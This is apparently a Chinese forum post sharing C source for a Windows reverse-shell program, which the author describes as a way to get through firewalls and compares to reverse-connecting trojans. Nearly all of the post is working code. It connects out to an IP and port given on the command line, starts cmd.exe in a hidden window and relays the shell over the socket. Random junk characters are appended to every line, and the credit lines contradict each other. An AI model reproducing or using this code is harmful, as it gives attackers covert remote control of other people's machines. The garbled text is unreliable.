这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >RkaFcq
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/* ============================== 0P9\; !Y
Rebound port in Windows NT fJc(
By wind,2006/7 w.(W G+
===============================*/ v#%rjml[
#include
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#include vjx'yh|
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#pragma comment(lib,"wsock32.lib") 8:V,>PH
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void OutputShell(); !~~KM?g
SOCKET sClient; !6=;dX
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /-[vC$B"
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void main(int argc,char **argv) t,|Apl]
{ >*ls}
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WSADATA stWsaData; JR.)CzC
int nRet; yV:8>9wE8
SOCKADDR_IN stSaiClient,stSaiServer; C?gqX0[ q
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if(argc != 3) w!6{{m
{ y,x 2f%x
printf("Useage:\n\rRebound DestIP DestPort\n"); 8p%0d`sX
return; %QEBY>|lI
} Twa(RjB<
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9m$"B*&6G
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7wh4~
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stSaiClient.sin_family = AF_INET; )y*&&q
stSaiClient.sin_port = htons(0); ~Yk^(hl2
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %"mI["{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zU&Iy_Ke.
{ q=88*Y
printf("Bind Socket Failed!\n"); k37?NoT
return; ;O`f+rG~
} g@>llve{
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stSaiServer.sin_family = AF_INET; Hvk~BP'
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g,JfT^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); . J O3#
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "D.<~!
{ MygAmV&
printf("Connect Error!"); (_e[CqFu
return; j_so s%-
} #G]IEO$M6
OutputShell(); ik(YJw'i7E
} c<|y/n
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void OutputShell() <7U~0@<Y
{ "ZGP,=?y2
char szBuff[1024]; %oa@2qJ^
SECURITY_ATTRIBUTES stSecurityAttributes; USyc D`
OSVERSIONINFO stOsversionInfo; NRtH?&7
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; uG7]s]Wdz;
STARTUPINFO stStartupInfo; c46-8z$
char *szShell; _ZhQY,
PROCESS_INFORMATION stProcessInformation; 8<Iq)A]'Z
unsigned long lBytesRead; e1W9"&4>G{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3F|p8zPS
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !2!Zhw2u
stSecurityAttributes.lpSecurityDescriptor = 0; ]4H)GWHKg
stSecurityAttributes.bInheritHandle = TRUE; 06Wqfzceb
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); x[{\Aw>$.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9DA|;|
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >}
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iG54 +]
stStartupInfo.wShowWindow = SW_HIDE; Ps@']]4>W
stStartupInfo.hStdInput = hReadPipe; Am*IC?@tq
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vcu@_N 1Dc
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GetVersionEx(&stOsversionInfo); u1X^#K$nu'
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switch(stOsversionInfo.dwPlatformId) Fqw4XR_`~
{ L/rf5||@
case 1: VVSt,/SO
szShell = "command.com"; 5/n L[4Z
break; *S*49Hq7c
default: j2,sI4
szShell = "cmd.exe"; rNV3-#kU
break; kfnh1|D=aY
} ;'{7wr|9
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]#G s6CsT|
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send(sClient,szMsg,77,0); 7vZO;FGtG
while(1) kZG=C6a
{ jm%s#`)g
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4o}{3! m
if(lBytesRead) %@C8EFl%3
{ 129\H<
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); crv#IC2
send(sClient,szBuff,lBytesRead,0); }iKjef#J
} -&
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else 8/>.g.]
{ Yd4X*Ua
lBytesRead=recv(sClient,szBuff,1024,0); 2!-Q!c`y
if(lBytesRead<=0) break; +m./RlQ{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hiVa\s
} H8w[{'Mei
} P0m9($JBD
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return; lUjZ=3"'
}